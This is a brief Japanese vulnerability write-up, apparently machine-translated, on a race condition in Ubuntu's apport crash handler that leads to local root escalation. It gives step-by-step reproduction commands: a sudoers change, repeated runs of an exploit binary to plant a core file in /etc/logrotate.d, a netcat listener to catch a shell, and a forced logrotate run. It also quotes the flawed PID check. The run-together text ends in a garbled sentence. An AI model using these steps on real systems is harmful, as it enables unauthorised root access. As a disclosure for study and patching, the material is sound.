
apport の競合状態により、Ubuntu 上でローカル権限昇格が発生する
sudo apt-get install apport=2.20.11-0ubuntu27 (2.20.11-0ubuntu27.10以下の任意のバージョンで構いませんが、ソースコードをダウンロードする必要があります)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping を追加しますulimit -c unlimited; ./exploit を複数回実行します/etc/logrotate.d/core にファイルが生成されるはずですnc -lvcp 1234 を実行しますsudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf を実行して、logrotateを即座にトリガーします。(/etc/cron.daily/logrotate と同じです)Apportは、プロセスの開始時刻がapport自身の開始時刻より後かどうかをチェックすることで、pidが再利用されているかどうかを確認します:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
しかし、このpidはapport起動直後に再利用される可能性があります。その場合、get_apport_starttime() == get_process_starttime() となります。
したがって、uid==0 で実行される別のプロセスでこのPIDを再占有できれば、apportに -rw------- root:root のコアファイルを落下させることができます:
/etc/logrotate.d/ にして sudo ping 8.8.8.8 を実行します。root:root で実行されるプロセスがpid Aを再占有します。